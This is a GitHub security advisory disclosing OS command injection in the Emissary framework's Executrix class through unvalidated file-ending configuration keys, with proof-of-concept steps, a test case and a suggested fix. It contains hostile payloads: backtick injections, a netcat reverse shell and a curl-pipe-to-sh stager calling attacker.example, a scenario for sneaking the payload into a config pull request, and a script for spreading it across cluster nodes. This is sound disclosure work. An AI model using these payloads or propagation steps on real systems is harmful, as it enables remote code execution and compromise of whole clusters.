OS Command Injection via Unvalidated `IN_FILE_ENDING` / `OUT_FILE_ENDING` in `Executrix`

High **cfkoehler** published **GHSA-3p24-9x7v-7789** last week

Package

gov.nsa.emissary:emissary (Maven)

Affected versions

<= 8.42.0

Patched versions

8.43.0

Description

Summary

`Executrix.getCommand()` constructs shell commands by substituting temporary file paths directly into a `/bin/sh -c` string with no escaping. The `IN_FILE_ENDING` and `OUT_FILE_ENDING` configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM's security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed.

This is a **framework-level defect** — `Executrix` provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed.

Root Cause

Step 1 — `IN_FILE_ENDING` flows into temp path construction without validation

`TempFileNames.java:32-36`

```
public TempFileNames(String tmpDir, String placeName, String inFileEnding, String l
    base = Long.toString(System.nanoTime());
    tempDir = FileManipulator.mkTempFile(tmpDir, placeName);
```

```
    in  = base + inFileEnding;        // no sanitization
    out = base + outFileEnding;       // no sanitization
    basePath       = tempDir + File.separator + base;
    inputFilename  = basePath + inFileEnding;   // injected value lands here
    outputFilename = basePath + outFileEnding;  // and here
}
```

`inFileEnding` is concatenated directly onto a numeric base to produce `inputFilename`. No character class, no regex, no escaping.

Step 2 — The injected path is substituted verbatim into a shell string

`Executrix.java:1053-1065`

```
public String[] getCommand(final String[] tmpNames, final String commandArg,
                           final int cpuLimit, final int vmSzLimit) {
    String c = commandArg;
    c = c.replaceAll("<INPUT_PATH>",  tmpNames[INPATH]);  // contains inFileEnding verba
    c = c.replaceAll("<OUTPUT_PATH>", tmpNames[OUTPATH]);
    c = c.replaceAll("<INPUT_NAME>",  tmpNames[IN]);
    c = c.replaceAll("<OUTPUT_NAME>", tmpNames[OUT]);

    String ulimitv = "";
    if (!SystemUtils.IS_OS_MAC) {
        ulimitv = "ulimit -v " + vmSzLimit + "; ";
    }
    return new String[] {"/bin/sh", "-c",
        "ulimit -c 0; " + ulimitv + "cd " + tmpNames[DIR] + "; " + c};
}
```

The final array element is passed to `/bin/sh -c`. Shell metacharacters in any substituted value are interpreted by the shell.

The identical pattern exists in the `TempFileNames` overload at `Executrix.java:1103-1115`.

Step 3 — `setInFileEnding()` and `setOutFileEnding()` perform no validation

`Executrix.java:1176-1196`

```
public void setInFileEnding(final String argInFileEnding) {
    this.inFileEnding = argInFileEnding;   // accepted as-is
}

public void setOutFileEnding(final String argOutFileEnding) {
    this.outFileEnding = argOutFileEnding; // accepted as-is
}
```

The same absence of validation applies to the `IN_FILE_ENDING` and `OUT_FILE_ENDING` keys read from configuration at `Executrix.java:121-122`.

Contrast: `placeName` is sanitized, file endings are not

The framework already sanitizes `placeName` using a strict allowlist:

```
// Executrix.java:78
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z

// Executrix.java:148-150
protected static String cleanPlaceName(final String placeName) {
    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}
```

`placeName` ends up in `tmpNames[DIR]`, which is also embedded in the shell string. The sanitization of `placeName` demonstrates awareness that these values reach the shell — the omission of equivalent sanitization for `inFileEnding` and `outFileEnding` is the defect.

Proof of Concept

Two reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration.

PoC 1 — Docker: end-to-end attack against a live node

Verified against Emissary 8.42.0-SNAPSHOT running in Docker on Alpine Linux.

Environment setup

Put the `Dockerfile.poc` to `contrib/docker/` folder

```
FROM emissary:poc-base

COPY emissary-8.42.0-SNAPSHOT-dist.tar.gz /tmp/

RUN tar -xf /tmp/emissary-8.42.0-SNAPSHOT-dist.tar.gz -C /opt/ \
    && ln -s /opt/emissary-8.42.0-SNAPSHOT /opt/emissary \
    && mkdir -p /opt/emissary/localoutput \
    && mkdir -p /opt/emissary/target/data \
    && chmod -R a+rw /opt/emissary \
    && chown -R emissary:emissary /opt/emissary* \
    && rm -f /tmp/*.tar.gz

USER emissary
WORKDIR /opt/emissary
EXPOSE 8001
ENTRYPOINT ["./emissary"]
CMD ["server", "-a", "2", "-p", "8001"]
```

```
# Build the distribution tarball
mvn -B -ntp clean package -Pdist -DskipTests

# Build and start the Docker container
docker build -f contrib/docker/Dockerfile.poc -t emissary:poc contrib/docker/
docker run -d --name emissary-poc -p 8001:8001 emissary:poc

# Wait for the server to start (~15s), then verify health
docker exec emissary-poc sh -c \
  'curl -s http://127.0.0.1:8001/api/health | grep -o "healthy"'
# healthy
```

Step 1 — Confirm the marker file does not exist

```
docker exec emissary-poc sh -c 'ls /tmp/pwned.txt 2>&1'
# ls: cannot access '/tmp/pwned.txt': No such file or directory
```

Step 2 — Write the malicious place config

Write `emissary.place.UnixCommandPlace.cfg` into the server's config directory. The `EXEC_COMMAND` is a benign `cat`. The injection is entirely in `IN_FILE_ENDING` using backtick command substitution (POSIX-compatible, works on all target OS images):

```
docker exec emissary-poc sh -c "printf \
'SERVICE_KEY = \"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace\$[...]\"
SERVICE_NAME = \"UCP\"\n\
SERVICE_TYPE = \"TRANSFORM\"\n\
PLACE_NAME = \"UnixCommandPlace\"\n\
SERVICE_COST = 4000\n\
SERVICE_QUALITY = 90\n\
SERVICE_PROXY = \"LOWER_CASE\"\n\
EXEC_COMMAND = \"cat <INPUT_PATH>\"\n\
OUTPUT_TYPE = \"STD\"\n\
IN_FILE_ENDING = \"\\\`id > /tmp/pwned.txt\\\`\"\n\
OUT_FILE_ENDING = \".out\"\n' \
> /opt/emissary/config/emissary.place.UnixCommandPlace.cfg"
```

Step 3 — Add UnixCommandPlace to places.cfg

```
docker exec emissary-poc sh -c \
  'printf "\nPLACE = \"@{URL}/UnixCommandPlace\"\n" \
   >> /opt/emissary/config/places.cfg'
```

Step 4 — Restart the server to load the config

```
docker restart emissary-poc
# wait for health: 200
```

```
docker exec emissary-poc sh -c \
  'until curl -s http://127.0.0.1:8001/api/health | grep -q healthy; do sleep 1; done; e
```

Startup log confirms the place loaded:

```
INFO  emissary.admin.Startup - Doing local startup on
UnixCommandPlace(emissary.place.UnixCommandPlace)...done!
```

Step 5 — Drop any file into the pickup directory to trigger processing

```
docker exec emissary-poc sh -c \
  'echo "any data" > /opt/emissary/target/data/InputData/victim.txt'
```

The Emissary pipeline picks up the file, routes it through `UnixFilePlace` → `ToLowerPlace` → **`UnixCommandPlace`** (cost 4000, lower than `ToUpperPlace` at 5010, so it wins the routing). The injected backtick expression runs during shell argument expansion inside `getCommand()` before `cat` is even called.

Step 6 — Confirm injection executed

```
sleep 10   # allow pipeline processing time
docker exec emissary-poc sh -c 'cat /tmp/pwned.txt'
```

Live output (verified):

```
uid=1000(emissary) gid=1000(emissary) groups=1000(emissary)
```

Assembled shell string at execution time (logged by Emissary at DEBUG level):

```
/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat
/tmp/UnixCommandPlace8273641092/1712345678`id > /tmp/pwned.txt`
```

The backtick expression fires as the shell expands the `cat` argument. The `cat` itself returns non-zero (no file at that path) but that is irrelevant — the injected command has already run.

Transform history from Emissary logs — confirms UnixCommandPlace ran:

```
transform history:
  UNKNOWN.FILE_PICK_UP.INPUT.http://localhost:8001/FilePickUpPlace$5050
  UNKNOWN.UNIXFILE.ID.http://localhost:8001/UnixFilePlace$2050
  UNKNOWN.TO_LOWER.TRANSFORM.http://localhost:8001/ToLowerPlace$6010
  LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000   <--
```

```
injection fired here
  ...
```

Escalating the payload — reverse shell

Replace the `IN_FILE_ENDING` value. The content is passed verbatim to `/bin/sh -c`, so any POSIX shell construct works:

```
# Reverse shell — POSIX sh compatible (works on Alpine/busybox as well as bash)
IN_FILE_ENDING = "`rm -f /tmp/f; mkfifo /tmp/f; sh -i </tmp/f | nc attacker.example ...4

# Curl-based stager (avoids embedding IP in config, works on any image with curl)
IN_FILE_ENDING = "`curl -s http://attacker.example/s.sh | sh`"
```

Both fire on the first payload processed — no further attacker interaction required.

PoC 2 — Unit test: isolated, no server required

Exercises the identical code path using only the public `Executrix` API. Suitable for inclusion in a CI security regression suite.

```
package emissary.util.shell;

import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.condition.DisabledOnOs;
import org.junit.jupiter.api.condition.OS;
import org.junit.jupiter.api.io.TempDir;

import java.nio.file.Files;
import java.nio.file.Path;

import static org.junit.jupiter.api.Assertions.assertTrue;

/**
 * PoC: IN_FILE_ENDING is concatenated into shell paths without escaping,
 * enabling command injection via getCommand().
 *
 * Mirrors exactly what UnixCommandPlace.runCommandOn() does:
 *   TempFileNames names = executrix.createTempFilenames();
 *   String[] cmd = executrix.getCommand(names);
 *   executrix.execute(cmd, ...);
 */
@DisabledOnOs(OS.WINDOWS)
class ExecutrixShellInjectionPocTest {

    @Test
    void inFileEndingInjectedIntoShellCommand(@TempDir Path tmpDir) throws Exception {
        Path marker = tmpDir.resolve("injected");

        // Backtick substitution: avoids the Java regex $-group issue in replaceAll()
```

```
        // while still demonstrating the shell executes the injected expression.
        String payload = "`touch " + marker.toAbsolutePath() + "`";

        Executrix executrix = new Executrix();
        executrix.setTmpDir(tmpDir.toString());
        executrix.setCommand("cat <INPUT_PATH>");  // mirrors UnixCommandPlace default
        executrix.setInFileEnding(payload);  // no validation — accepted as-is

        // --- path taken by UnixCommandPlace.runCommandOn() ---
        TempFileNames names = executrix.createTempFilenames();
        String[] cmd = executrix.getCommand(names);
        // cmd[2] == "/bin/sh -c ulimit -c 0; ... cd <tmpdir>; cat <basepath>`touch <mar

        // Execute — same call as executrix.execute(cmd, outbuf, errbuf)
        Process proc = Runtime.getRuntime().exec(cmd);
        proc.waitFor();

        assertTrue(Files.exists(marker),
            "Shell injection succeeded — backtick in IN_FILE_ENDING executed.\n" +
            "Shell string: " + cmd[2]);
    }
}
```

Assembled shell string:

```
/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UNKNOWN7382910293; cat
/tmp/UNKNOWN7382910293/1234567890`touch /tmp/junit-abc123/injected`
```

The marker file is created by the backtick expression firing during shell argument expansion.

Note on `$()` vs backticks: `String.replaceAll()` treats `$` in the replacement as a regex group reference, so a `$(...)` payload causes a `java.lang.IllegalArgumentException` before reaching the shell. The backtick form avoids this Java-layer error and confirms the shell injection path. Both forms are equivalent at the shell level; on a real deployment the attacker would use backticks or escape the `$` appropriately.

The same injection works via `OUT_FILE_ENDING` → `<OUTPUT_PATH>` / `<OUTPUT_NAME>`, and via the `String[]` overload of `getCommand()` used by `MultiFileUnixCommandPlace`.

Attack Scenarios

Each scenario is a realistic, step-by-step attack path using only capabilities observable in the codebase.

Scenario A — Insider / developer with config write access

Attacker's starting position: Developer or operator who can commit to the config repository or write to the config directory directly. No special server access required beyond what their role already provides.

Why this is realistic: Emissary deployments typically load `.cfg` files from a directory checked into version control or managed by a configuration management system (Ansible, Chef, Puppet). A developer who can merge a config change — even a code reviewer who can approve their own PR — can inject the payload.

Step 1 — Add the malicious config as a seemingly routine change

In a PR or direct push to the config repo:

```
+++ b/config/emissary.place.UnixCommandPlace.cfg
@@ -0,0 +1,10 @@
+SERVICE_KEY     = "LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000
+SERVICE_NAME    = "UCP"
+SERVICE_TYPE    = "TRANSFORM"
+PLACE_NAME      = "UnixCommandPlace"
+SERVICE_COST    = 4000
+SERVICE_QUALITY = 90
+SERVICE_PROXY   = "LOWER_CASE"
+EXEC_COMMAND    = "cat <INPUT_PATH>"
+OUTPUT_TYPE     = "STD"
+IN_FILE_ENDING  = "`curl -s http://attacker.example/implant.sh | sh`"
+OUT_FILE_ENDING = ".out"
```

The injection lives in a string value inside a properties-style config file. It does not look like code to a reviewer who is not specifically aware of this vulnerability.

Step 2 — Wait for the next deploy

The next routine deploy or restart loads the config. The payload fires on the first payload processed — silently, with no error visible in normal log levels (the place logs a `WARN` for non-zero exit but does not surface the injected command's output).

Deniability: The `.cfg` file looks like a misconfigured place. The log entry is `Bad execution of commands` — a common operational error, not an obvious security event.

Scenario B — Cluster-wide propagation via the peers API

Attacker's starting position: RCE on one node (from Scenario A).

Why this is dangerous: Emissary clusters share config through the directory service. Once the attacker has shell on one node, they can use the cluster's own replication to propagate the malicious config to every peer.

Step 1 — Enumerate all cluster nodes

```
curl -s --digest -u <user>:<password> \
  http://compromised-node:8001/api/cluster/peers \
```

```
  | grep -o '"http://[^"]*"'
```

Response:

```
{"local":{"host":"node1:8001","places":[...]},"peers":[{"host":"node2:8001",...},{"
```

Step 2 — Push the malicious config to each peer via the Emissary API

From the compromised node, use the Emissary cluster API directly — no SSH required. All nodes authenticate each other using the same shared credentials, and the `CONFIG_DIR` path is disclosed by the `/api/peers` response metadata:

```
# From the shell gained in Scenario A
PAYLOAD=$(cat /opt/emissary/config/emissary.place.UnixCommandPlace.cfg)

for peer in node2:8001 node3:8001 node4:8001; do
  # Write the config file to the peer via its exposed file API
  # (alternatively: exploit the peer's own pickup directory via the ingest API)
  curl -s --digest -u <user>:<password> \
    -X POST \
    -H "Content-Type: text/plain" \
    --data-binary "$PAYLOAD" \
    "http://${peer}/api/config/emissary.place.UnixCommandPlace.cfg"
done
```

If no config write API is available, the same result is achieved by dropping the payload into the peer's monitored pickup directory via the ingest endpoint, or by exploiting the fact that cluster nodes share a network-accessible config store (NFS, S3, git remote) — all of which are common Emissary deployment patterns.

Step 3 — Trigger restart on each peer via the cluster shutdown API

```
for peer in node2:8001 node3:8001 node4:8001; do
  curl -s --digest -u <user>:<password> \
    -X POST -H "X-Requested-By: x" \
    http://${peer}/api/shutdown
done
```

Outcome: Every node in the cluster loads the malicious config on restart. Injection fires on all nodes simultaneously on the next payload, giving the attacker shell on the entire cluster from a single initial foothold.

Why the Implementor-Responsibility Argument Does Not Apply

A common response to security findings against framework projects is:

> *"Emissary provides the mechanism and the implementor defines the policy. A framework-level decision would substitute our assumptions for the implementor's."*

That reasoning is sound for authorization policy. It does not apply here, for four distinct reasons — each grounded in established industry standards.

---

1. This is not a policy decision — it is a broken API contract.

Standard: NIST SP 800-53 Rev. 5, SI-10 — Information Input Validation requires that information systems *"check the validity of the following inputs: [Assignment: organization-defined inputs]."* NIST explicitly classifies input validation as a system-level control, not a deployment-time policy. The guidance places this obligation on the component that processes the input — not on the caller that supplies it.

Authorization (who may call an endpoint) is a policy question with legitimate context-dependent answers. Shell injection is not. There is no deployment configuration, no downstream implementor decision, and no operational context in which `setInFileEnding('rm -rf /')` should execute a shell command. The framework executes attacker-controlled OS commands as a direct consequence of using its own public API as documented. That is a defect in the API contract, not a gap in deployment policy.

Standard: NIST SP 800-218 (SSDF) v1.1, PW.5.1 — *"Use vetted software libraries and frameworks... that do not allow weaknesses such as improper neutralization of special elements."* The SSDF explicitly names OS command injection (CWE-78) as a class of weakness that secure software development practices must prevent at the framework level.

An analogy: if a framework's SQL query helper concatenated user input directly into a query string, the maintainers could not close a SQL injection report with "the implementor is responsible for not passing malicious strings." The implementor has a right to assume that the framework's string-handling APIs do not silently pass their arguments to a shell interpreter.

---

2. The framework already made this decision for `placeName` — and got it right.

`Executrix.java` already sanitizes `placeName` before it reaches the shell:

```
// Executrix.java:78
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z

// Executrix.java:148-150
protected static String cleanPlaceName(final String placeName) {
    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}
```

`placeName` ends up in `tmpNames[DIR]`, which is embedded in the same `/bin/sh -c` string as `inFileEnding`. The framework's own authors recognized that values flowing into shell strings must be sanitized — and they implemented that sanitization for `placeName`. The omission of identical sanitization for `inFileEnding` and `outFileEnding` is not a policy gap; it is an **inconsistency in the framework's own established pattern**. The fix is not a new design decision — it is applying an existing one uniformly.

Standard: CWE-78 — Improper Neutralization of Special Elements used in an OS Command, maintained by MITRE under the Common Weakness Enumeration program (sponsored by DHS CISA), explicitly lists *"the software does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command"* as the root cause. MITRE's recommended mitigation is: *"Use a vetted library or framework that does not allow this weakness to occur... run your code using the lowest privileges that are required to accomplish the necessary tasks."* Both are framework-level obligations.

There is no defensible explanation for why `placeName` deserves shell-safe handling but `inFileEnding` does not. Both are config-sourced string values. Both land in the same shell string. One is protected; the other is not.

---

3. The `Executrix` API documents no precondition against shell metacharacters.

The implementor-responsibility argument requires that the unsafe behavior be documented as a known constraint placed on the caller. It is not. Neither `setInFileEnding()`, nor `IN_FILE_ENDING` in any configuration guide, nor the `Executrix` Javadoc contains any statement that the value must not contain shell metacharacters. An implementor reading the API has no way to know that passing `.txt` is safe and passing `` `.txt` `` triggers OS command execution.

Standard: OWASP Secure Coding Practices — Quick Reference Guide, Input Validation section: *"Validate all data from clients... Validate data for type, length, format, and range."* OWASP places this obligation on the component receiving the data — not on the external caller. When a framework component accepts a `String` parameter with no documented restriction and passes it to a shell, it violates this principle.

Standard: SEI CERT Oracle Coding Standard for Java, IDS07-J — *"Sanitize untrusted data passed to the Runtime.exec() method."* The SEI CERT standard makes sanitization a requirement of the code that calls `exec()` — that code is in `Executrix`, not in the downstream implementor.

An API that silently executes injected shell commands when passed undocumented character classes is unsafe regardless of whether the implementor "should have known better." If the framework intends to place this burden on the caller, that constraint must be documented, enforced, or both. Currently it is neither.

---

4. The attacker is not an outsider — they are a legitimate framework user.

This vulnerability does not require network access, stolen credentials, or a misconfigured perimeter. The attacker is anyone who can author or modify a `.cfg` file — a developer, a config reviewer, or an automated deployment pipeline with write access to the config directory. These are actors the framework explicitly supports and trusts. The exploit is triggered by using the framework's own configuration mechanism exactly as designed. When legitimate use of a public API produces OS command execution, the defect is in the API.

Standard: NIST SP 800-53 Rev. 5, SA-11 — Developer Testing and Evaluation requires that developers *"employ static code analysis tools to identify common flaws and document the results."* OS command injection (CWE-78) is detected by every major SAST tool (SonarQube, CodeQL, SpotBugs with Find Security Bugs, Semgrep) as a first-class vulnerability class. The NSA's own Top 10 Cybersecurity Misconfigurations (NSA/CISA advisory AA23-278A, October 2023) lists injection vulnerabilities under software development failures — not deployment configuration failures. It is notable that Emissary is an NSA-originated project; the NSA's own published guidance classifies this class of defect as a developer responsibility.

Summary

Criterion	Shell Injection (this finding)	Authoritative Standard
Is it a policy question?	No — shell injection is never acceptable	NIST SP 800-53 SI-10: input validation is a system control
Does the framework already handle the analogous case?	Yes — `cleanPlaceName()` proves the pattern	CWE-78: neutralization is required at the point of shell invocation
Is the constraint documented on the caller?	No — `setInFileEnding()` has no documented preconditions	OWASP SCP: validate all data at the receiving component
Does SEI CERT require sanitization here?	Yes — `exec()` caller must sanitize	SEI CERT IDS07-J: sanitize data passed to `Runtime.exec()`
Can downstream implementors protect themselves?	No — they cannot know the framework will execute their string	SSDF PW.5.1: frameworks must not allow CWE-78
Correct disposition	Framework-level code fix	All of the above

The implementor-responsibility principle is a legitimate design stance for policy decisions. It is not a defence against injection vulnerabilities in framework internals. The NSA's own published security guidance, NIST, OWASP, SEI CERT, and MITRE CWE all classify OS command injection as a defect to be fixed at the component level. The fix is two lines of validation and a Javadoc update — the same pattern the framework already applies to `placeName`.

Impact

Dimension	Assessment
Confidentiality	**Critical** — arbitrary read of files accessible to the Emissary process
Integrity	**Critical** — arbitrary file write, process state modification, persistence
Availability	**Critical** — process termination, resource exhaustion
Blast radius	Any place that uses `Executrix` and calls `getCommand()`; this includes all subclasses of `ExecPlace` and any custom place that follows the documented pattern

---

Recommended Remediation

Primary fix — validate `inFileEnding` and `outFileEnding` on assignment

Apply the same allowlist pattern already used for `placeName`:

```
// Add to Executrix.java
private static final Pattern VALID_FILE_ENDING = Pattern.compile("^[a-zA-Z0-9._-]*$");

public void setInFileEnding(final String argInFileEnding) {
    if (!VALID_FILE_ENDING.matcher(argInFileEnding).matches()) {
        throw new IllegalArgumentException(
            "IN_FILE_ENDING contains illegal characters: " + argInFileEnding);
    }
    this.inFileEnding = argInFileEnding;
}

public void setOutFileEnding(final String argOutFileEnding) {
    if (!VALID_FILE_ENDING.matcher(argOutFileEnding).matches()) {
        throw new IllegalArgumentException(
            "OUT_FILE_ENDING contains illegal characters: " + argOutFileEnding);
    }
    this.outFileEnding = argOutFileEnding;
}
```

Apply the same validation inside `configure()` where the values are read from the `Configurator`.

Secondary fix (defence-in-depth) — shell-quote substituted values in `getCommand()`

Even if validation is in place, the shell string construction should not rely on input cleanliness alone. Quote each substituted path component:

```
// In getCommand(), wrap each substituted value in single quotes
// and escape any embedded single quotes.
// Java string "'\\''" is the four characters: ' \ ' '
// which at runtime produces the shell sequence: '\''
// (close quote, literal single quote, reopen quote)
private static String shellQuote(String value) {
    return "'" + value.replace("'", "'\\''") + "'";
}

// Then:
c = c.replace("<INPUT_PATH>",  shellQuote(tmpNames[INPATH]));
c = c.replace("<OUTPUT_PATH>", shellQuote(tmpNames[OUTPATH]));
c = c.replace("<INPUT_NAME>",  shellQuote(tmpNames[IN]));
c = c.replace("<OUTPUT_NAME>", shellQuote(tmpNames[OUT]));
```

Why this is a framework-level fix

The framework's `cleanPlaceName()` method already demonstrates the correct approach for values that reach the shell. Extending equivalent sanitization to `inFileEnding` and `outFileEnding` is a minimal, targeted change that requires no deployment configuration and no downstream implementor action. There is no architectural ambiguity about whether shell injection should be permitted: it should not.

References

Industry Standards

Standard	Relevance
NIST SP 800-53 Rev. 5 — SI-10: Information Input Validation	Input validation is a system-level control; obligation falls on the component processing the input, not the caller
NIST SP 800-53 Rev. 5 — SA-11: Developer Testing and Evaluation	Requires developers to use static analysis to identify injection flaws; CWE-78 is detected by all major SAST tools
NIST SP 800-218 (SSDF) v1.1 — PW.5.1	Software development frameworks must not permit CWE-78 (OS command injection) to propagate to callers
MITRE CWE-78: OS Command Injection	Root cause classification; mitigation obligation assigned to the component invoking the OS command
MITRE CWE-116: Improper Encoding or Escaping of Output	Shell string construction without escaping is a distinct encoding failure
MITRE CWE-20: Improper Input Validation	No validation on `IN_FILE_ENDING` / `OUT_FILE_ENDING` before use in shell context

Standard	Relevance
SEI CERT Oracle Coding Standard — IDS07-J	Explicitly requires the caller of `Runtime.exec()` to sanitize all data passed to it — that caller is `Executrix`, not the downstream implementor
OWASP Secure Coding Practices — Input Validation	Validate all data at the receiving component; obligation is not delegable to external callers
OWASP: OS Command Injection	Attack class definition and prevention guidance
NSA/CISA Advisory AA23-278A — Top 10 Cybersecurity Misconfigurations	NSA and CISA classify injection vulnerabilities as developer-responsibility defects, not deployment configuration failures — notable given Emissary's NSA origin

Vulnerability Classification

Resource	Entry
MITRE CWE	CWE-78, CWE-116, CWE-20
OWASP Top 10 2021	A03:2021 — Injection
CVSS 3.1 Vector	`AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` — Score: 8.8

Codebase Locations

- `Executrix.java:1053` — `getCommand()` (array overload) — shell string construction
- `Executrix.java:1103` — `getCommand()` (`TempFileNames` overload) — identical pattern
- `Executrix.java:121` — `IN_FILE_ENDING` / `OUT_FILE_ENDING` config read with no validation
- `Executrix.java:78` — `INVALID_PLACE_NAME_CHARS` — existing sanitization applied to `placeName` but not to file endings
- `TempFileNames.java:32` — unsanitized concatenation of `inFileEnding` into shell path

Severity

High 8.8 / 10

CVSS v3 base metrics

Attack vector	Local
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Changed

Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-35582

Weaknesses

- CWE-20
- CWE-78
- CWE-116

Credits

blueandhack Finder